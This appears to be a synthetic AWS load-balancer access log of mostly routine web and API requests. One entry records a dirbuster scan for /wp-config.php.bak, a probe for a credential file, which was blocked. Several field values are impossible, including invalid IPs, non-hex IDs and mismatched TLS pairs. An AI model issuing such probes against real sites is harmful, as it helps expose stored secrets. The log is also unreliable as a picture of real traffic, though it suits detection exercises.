(Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2e4-cffff870a31b4c20a0c17900" "prod-api-alb.example.com" "-" 9 2024-11-01T01:56:36.427608Z "forward" "-" "-" "10.0.102.70:443" "200" "-" "-" -https 2024-11-01T01:56:37.237817Z prod-api-alb 108.223.129.56:40900 10.0.8.63:443 0.020229 0.053604 0.072938 302 302 549 13258 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2e5-0eb3b0c5341b4f9295e0f434" "prod-api-alb.example.com" "-" 9 2024-11-01T01:56:37.237817Z "forward" "-" "-" "10.0.8.63:443" "302" "-" "-" -https 2024-11-01T01:56:37.969568Z prod-api-alb 45.2.252.30:31967 10.0.130.7:443 0.061870 0.010251 0.031606 301 301 767 12233 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2e5-743896e6ac5444bb8645182f" "prod-api-alb.example.com" "-" 0 2024-11-01T01:56:37.969568Z "forward" "-" "-" "10.0.130.7:443" "301" "-" "-" -https 2024-11-01T01:56:38.099768Z prod-api-alb 221.224.231.90:22744 10.0.169.19:443 0.074928 0.238647 0.047727 200 200 613 358 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2e6-44b4f81220f94a92b18a0537" "prod-api-alb.example.com" "-" 8 2024-11-01T01:56:38.099768Z "forward" "-" "-" "10.0.169.19:443" "200" "-" "-" -https 2024-11-01T01:56:39.398052Z prod-api-alb 144.177.234.76:36414 10.0.168.38:443 0.096952 0.130682 0.028210 200 200 297 2124 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2e7-11c40ae62b7e4dc589108318" "prod-api-alb.example.com" "-" 7 2024-11-01T01:56:39.398052Z "forward" "-" "-" "10.0.168.38:443" "200" "-" "-" -https 2024-11-01T01:56:39.903595Z prod-web-alb 64.124.139.48:55090 10.0.101.232:443 0.063710 0.201407 0.053583 200 200 224 1770 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2e7-c71e023e6d374ab9a3e728dc" "prod-web-alb.example.com" "-" 7 2024-11-01T01:56:39.903595Z "forward" "-" "-" "10.0.101.232:443" "200" "-" "-" -https 2024-11-01T01:56:40.664178Z prod-api-alb 154.243.121.132:19026 10.0.95.169:443 0.006650 0.339667 0.008168 200 200 163 7057 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2e8-72faf7faa9034e3486e1e201" "prod-api-alb.example.com" "-" 3 2024-11-01T01:56:40.664178Z "forward" "-" "-" "10.0.95.169:443" "200" "-" "-" -https 2024-11-01T01:56:42.536823Z prod-web-alb 123.95.226.52:57354 10.0.175.197:443 0.006484 0.077523 0.099216 200 200 618 11250 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2ea-e9f7ea5fd419475e8f6d867d" "prod-web-alb.example.com" "-" 7 2024-11-01T01:56:42.536823Z "forward" "-" "-" "10.0.175.197:443" "200" "-" "-" -https 2024-11-01T01:56:43.997054Z staging-alb 115.25.143.99:33668 101.255.202.3:8080 0.022668 0.571345 0.061332 302 302 431 8212 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2eb-e038f7b6403b4ed89728d88f" "staging-alb.example.com" "-" 8 2024-11-01T01:56:43.997054Z "forward" "-" "-" "101.255.202.3:8080" "302" "-" "-" -https 2024-11-01T01:56:45.984989Z prod-web-alb 18.34.142.85:14469 10.0.62.79:443 0.091985 0.223878 0.041504 301 301 985 12590 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2ed-09e7db1f4d8d4b22bad41f9b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:56:45.984989Z "forward" "-" "-" "10.0.62.79:443" "301" "-" "-" -https 2024-11-01T01:56:46.173108Z prod-web-alb 180.251.39.157:49189 10.0.33.196:443 0.006144 0.411057 0.012620 404 404 372 1249 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2ee-2148e4afc09943a5b9b55cb7" "prod-web-alb.example.com" "-" 6 2024-11-01T01:56:46.173108Z "forward" "-" "-" "10.0.33.196:443" "404" "-" "-" -https 2024-11-01T01:56:47.252753Z prod-api-alb 3.136.197.246:63014 10.0.68.13:443 0.054828 0.364215 0.042598 404 404 730 12844 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2ef-1bd42a3a92204311b1b4a90a" "prod-api-alb.example.com" "-" 5 2024-11-01T01:56:47.252753Z "forward" "-" "-" "10.0.68.13:443" "404" "-" "-" -https 2024-11-01T01:56:48.258877Z prod-api-alb 143.244.43.63:45021 10.0.171.243:443 0.080759 0.385223 0.009881 301 301 59 4604 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2f0-dc03f2146d79444da58a352c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:56:48.258877Z "forward" "-" "-" "10.0.171.243:443" "301" "-" "-" -https 2024-11-01T01:56:49.953698Z prod-web-alb 245.54.85.160:49499 10.0.92.3:443 0.045647 0.138281 0.050578 302 302 946 9179 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d2f1-ba33126711f74f9694b444f8" "prod-web-alb.example.com" "-" 3 2024-11-01T01:56:49.953698Z "forward" "-" "-" "10.0.92.3:443" "302" "-" "-" -https 2024-11-01T01:56:51.889245Z prod-api-alb 251.126.172.251:51462 10.0.115.189:443 0.010483 0.184588 0.035885 200 200 771 6255 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2f3-379d489ea53147bd8df5d473" "prod-api-alb.example.com" "-" 10 2024-11-01T01:56:51.889245Z "forward" "-" "-" "10.0.115.189:443" "200" "-" "-" -https 2024-11-01T01:56:53.245400Z prod-api-alb 117.39.47.141:59475 10.0.102.4:443 0.033480 0.195862 0.011408 200 200 939 8454 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2f5-8b416328649149198686b712" "prod-api-alb.example.com" "-" 2 2024-11-01T01:56:53.245400Z "forward" "-" "-" "10.0.102.4:443" "200" "-" "-" -https 2024-11-01T01:56:53.776600Z staging-alb 110.222.48.200:53027 13.145.55.39:8080 0.133641 0.216435 0.125661 302 302 326 13490 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2f5-2948e2f35eda465d9eb4b534" "staging-alb.example.com" "-" 5 2024-11-01T01:56:53.776600Z "forward" "-" "-" "13.145.55.39:8080" "302" "-" "-" -https 2024-11-01T01:56:54.295860Z staging-alb 239.205.40.32:22769 242.140.101.167:443 0.065073 0.456208 0.000514 200 200 236 4076 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d2f6-1aa92ff63acf4cc3a2b278be" "staging-alb.example.com" "-" 5 2024-11-01T01:56:54.295860Z "forward" "-" "-" "242.140.101.167:443" "200" "-" "-" -https 2024-11-01T01:56:54.705664Z prod-api-alb 77.171.75.56:55941 10.0.140.86:443 0.009296 0.473544 0.078846 301 301 484 12138 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2f6-0bd2c42d8fc7464586bb7d55" "prod-api-alb.example.com" "-" 6 2024-11-01T01:56:54.705664Z "forward" "-" "-" "10.0.140.86:443" "301" "-" "-" -https 2024-11-01T01:56:55.996774Z prod-web-alb 20.172.127.95:59600 10.0.199.125:443 0.010218 0.362126 0.015706 200 200 168 13730 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2f7-e9727627d0c24dd8b1ebf835" "prod-web-alb.example.com" "-" 9 2024-11-01T01:56:55.996774Z "forward" "-" "-" "10.0.199.125:443" "200" "-" "-" -https 2024-11-01T01:56:56.207856Z staging-alb 119.66.129.139:26844 29.186.123.93:80 0.075019 0.104126 0.037382 200 200 728 4811 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2f8-cf7d597e47044fad8ca41427" "staging-alb.example.com" "-" 1 2024-11-01T01:56:56.207856Z "forward" "-" "-" "29.186.123.93:80" "200" "-" "-" -https 2024-11-01T01:56:57.155175Z staging-alb 142.53.21.190:36151 214.100.217.192:80 0.098631 0.104383 0.056175 200 200 338 3529 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2f9-a8a1004042484b2d8e9edbc9" "staging-alb.example.com" "-" 4 2024-11-01T01:56:57.155175Z "forward" "-" "-" "214.100.217.192:80" "200" "-" "-" -https 2024-11-01T01:56:58.421097Z prod-api-alb 228.252.135.167:42799 10.0.157.253:443 0.029603 0.287114 0.056726 200 200 125 1306 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d2fa-f7b9e018835d4a519b41b904" "prod-api-alb.example.com" "-" 8 2024-11-01T01:56:58.421097Z "forward" "-" "-" "10.0.157.253:443" "200" "-" "-" -https 2024-11-01T01:56:59.587252Z prod-web-alb 242.248.67.249:52092 10.0.176.2:443 0.031714 0.474046 0.075752 200 200 29 1525 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d2fb-94b3aa7cde7f4aba8c186ac6" "prod-web-alb.example.com" "-" 10 2024-11-01T01:56:59.587252Z "forward" "-" "-" "10.0.176.2:443" "200" "-" "-" -http 2024-11-01T01:57:00.955390Z staging-alb 94.170.126.123:54528 204.2.62.246:80 0.042968 0.250037 0.103269 200 200 210 5446 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d2fc-54c3e125dd7446c5a93ce75c" "staging-alb.example.com" "-" 8 2024-11-01T01:57:00.955390Z "forward" "-" "-" "204.2.62.246:80" "200" "-" "-" -https 2024-11-01T01:57:02.466998Z prod-api-alb 124.31.33.220:40777 10.0.168.1:443 0.066218 0.073983 0.026269 302 302 557 2368 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d2fe-0d08c7c18c3946e4ae295aed" "prod-api-alb.example.com" "-" 5 2024-11-01T01:57:02.466998Z "forward" "-" "-" "10.0.168.1:443" "302" "-" "-" -https 2024-11-01T01:57:04.422500Z prod-api-alb 14.252.50.103:30511 10.0.211.6:443 0.008893 0.461626 0.059449 200 200 623 2343 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d300-a5e92f7924c343e3904d2dfd" "prod-api-alb.example.com" "-" 6 2024-11-01T01:57:04.422500Z "forward" "-" "-" "10.0.211.6:443" "200" "-" "-" -https 2024-11-01T01:57:05.760458Z prod-api-alb 45.155.205.102:49943 10.0.168.175:443 0.013164 0.094350 0.009262 403 403 226 12762 "GET /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d301-24a2b9db9ad4444a9dc4d93e" "-" "-" 3 2024-11-01T01:57:05.760458Z "forward" "-" "-" "10.0.168.175:443" "403" "-" "-" -https 2024-11-01T01:57:06.129113Z prod-web-alb 32.221.6.64:47183 10.0.78.177:443 0.032176 0.006235 0.043190 200 200 178 12236 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d302-28cbe61a427045ef98454915" "prod-web-alb.example.com" "-" 1 2024-11-01T01:57:06.129113Z "forward" "-" "-" "10.0.78.177:443" "200" "-" "-" -https 2024-11-01T01:57:06.452576Z staging-alb 123.114.9.150:57687 184.104.239.228:8080 0.072177 0.732752 0.123262 200 200 379 4723 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d302-a8667bbe477d40a9beaf3167" "staging-alb.example.com" "-" 8 2024-11-01T01:57:06.452576Z "forward" "-" "-" "184.104.239.228:8080" "200" "-" "-" -https 2024-11-01T01:57:07.211467Z prod-web-alb 91.211.195.225:59944 10.0.167.45:443 0.057532 0.496630 0.073586 200 200 915 3225 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d303-873e32d026b749bd9c3b6ba6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:57:07.211467Z "forward" "-" "-" "10.0.167.45:443" "200" "-" "-" -https 2024-11-01T01:57:09.045734Z prod-api-alb 255.80.153.207:60950 10.0.209.195:443 0.027105 0.298615 0.053395 200 200 548 5530 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d305-9468636eba8f4e00a3d11257" "prod-api-alb.example.com" "-" 9 2024-11-01T01:57:09.045734Z "forward" "-" "-" "10.0.209.195:443" "200" "-" "-" -https 2024-11-01T01:57:10.683944Z prod-web-alb 127.237.84.110:49530 10.0.237.46:443 0.039943 0.260871 0.078580 200 200 812 7096 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d306-8a19773b72014f9bb1498957" "prod-web-alb.example.com" "-" 9 2024-11-01T01:57:10.683944Z "forward" "-" "-" "10.0.237.46:443" "200" "-" "-" -https 2024-11-01T01:57:10.997436Z prod-web-alb 219.5.144.195:16670 10.0.212.208:443 0.057189 0.465836 0.079807 200 200 868 5028 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d306-493a7a4dcb80473b9d5aaf0c" "prod-web-alb.example.com" "-" 9 2024-11-01T01:57:10.997436Z "forward" "-" "-" "10.0.212.208:443" "200" "-" "-" -https 2024-11-01T01:57:12.106217Z prod-api-alb 67.112.26.144:10199 10.0.63.25:443 0.004846 0.379359 0.077527 301 301 604 3739 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d308-9b7641bb685e4fb8b9c85ad2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:57:12.106217Z "forward" "-" "-" "10.0.63.25:443" "301" "-" "-" -https 2024-11-01T01:57:13.470285Z prod-web-alb 75.153.82.112:43516 10.0.146.27:443 0.039642 0.137458 0.019832 200 200 346 9531 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d309-db8cd39aca524f28b00a8a4c" "prod-web-alb.example.com" "-" 10 2024-11-01T01:57:13.470285Z "forward" "-" "-" "10.0.146.27:443" "200" "-" "-" -http 2024-11-01T01:57:15.377966Z staging-alb 51.168.236.41:26828 233.48.230.92:443 0.096664 0.391488 0.065830 404 404 621 4275 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d30b-416acba1c419405a9017d720" "staging-alb.example.com" "-" 10 2024-11-01T01:57:15.377966Z "forward" "-" "-" "233.48.230.92:443" "404" "-" "-" -https 2024-11-01T01:57:15.583641Z prod-api-alb 160.238.250.176:55115 10.0.166.167:443 0.049024 0.471145 0.033314 200 200 811 5806 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d30b-5b570caf4e0e4082bd081892" "prod-api-alb.example.com" "-" 7 2024-11-01T01:57:15.583641Z "forward" "-" "-" "10.0.166.167:443" "200" "-" "-" -https 2024-11-01T01:57:17.541157Z prod-web-alb 44.230.31.210:47720 10.0.239.251:443 0.051953 0.108448 0.006875 200 200 346 4443 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d30d-12e5720b421049bb9748e355" "prod-web-alb.example.com" "-" 1 2024-11-01T01:57:17.541157Z "forward" "-" "-" "10.0.239.251:443" "200" "-" "-" -https 2024-11-01T01:57:19.180478Z prod-api-alb 233.247.150.45:17889 10.0.61.95:443 0.042611 0.043078 0.017967 404 404 921 816 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d30f-a7d59a59bd1542c38eefad9e" "prod-api-alb.example.com" "-" 9 2024-11-01T01:57:19.180478Z "forward" "-" "-" "10.0.61.95:443" "404" "-" "-" -https 2024-11-01T01:57:20.587941Z prod-api-alb 226.181.52.96:33678 10.0.171.115:443 0.013827 0.423107 0.069114 200 200 361 9378 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d310-6801666d4a6a44cdb30801db" "prod-api-alb.example.com" "-" 1 2024-11-01T01:57:20.587941Z "forward" "-" "-" "10.0.171.115:443" "200" "-" "-" -https 2024-11-01T01:57:22.139996Z staging-alb 0.58.207.141:31943 67.122.18.180:8080 0.099321 0.749979 0.007775 301 301 560 3037 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d312-9b304df6a25a4ac7ae55729a" "staging-alb.example.com" "-" 2 2024-11-01T01:57:22.139996Z "forward" "-" "-" "67.122.18.180:8080" "301" "-" "-" -https 2024-11-01T01:57:22.808863Z prod-api-alb 55.144.39.58:21061 10.0.43.178:443 0.046545 0.226073 0.094812 404 404 806 11347 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d312-50151769fa71487a97e3c3db" "prod-api-alb.example.com" "-" 8 2024-11-01T01:57:22.808863Z "forward" "-" "-" "10.0.43.178:443" "404" "-" "-" -https 2024-11-01T01:57:23.266650Z staging-alb 71.190.129.189:37096 103.105.12.109:80 0.096175 0.063559 0.070919 302 302 194 2125 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d313-ad5a494f62fe4866b32069b5" "staging-alb.example.com" "-" 8 2024-11-01T01:57:23.266650Z "forward" "-" "-" "103.105.12.109:80" "302" "-" "-" -http 2024-11-01T01:57:24.822651Z staging-alb 136.69.56.40:17205 100.26.167.8:443 0.014388 0.529494 0.026556 302 302 19 12779 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d314-95bf43bc6d4244368330e1e2" "staging-alb.example.com" "-" 9 2024-11-01T01:57:24.822651Z "forward" "-" "-" "100.26.167.8:443" "302" "-" "-" -https 2024-11-01T01:57:25.583150Z prod-web-alb 217.189.226.69:58987 10.0.28.255:443 0.074897 0.274414 0.074876 200 200 461 9516 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d315-b20ca90339504c2c96c8efe8" "prod-web-alb.example.com" "-" 4 2024-11-01T01:57:25.583150Z "forward" "-" "-" "10.0.28.255:443" "200" "-" "-" -https 2024-11-01T01:57:26.595506Z prod-web-alb 115.181.137.253:25900 10.0.251.4:443 0.094701 0.382020 0.062886 200 200 980 14939 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d316-fc0b082cbf7c4d12b409ac01" "prod-web-alb.example.com" "-" 5 2024-11-01T01:57:26.595506Z "forward" "-" "-" "10.0.251.4:443" "200" "-" "-" -https 2024-11-01T01:57:28.262099Z prod-web-alb 183.110.241.234:58968 10.0.67.142:443 0.031410 0.379735 0.027479 200 200 892 6806 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 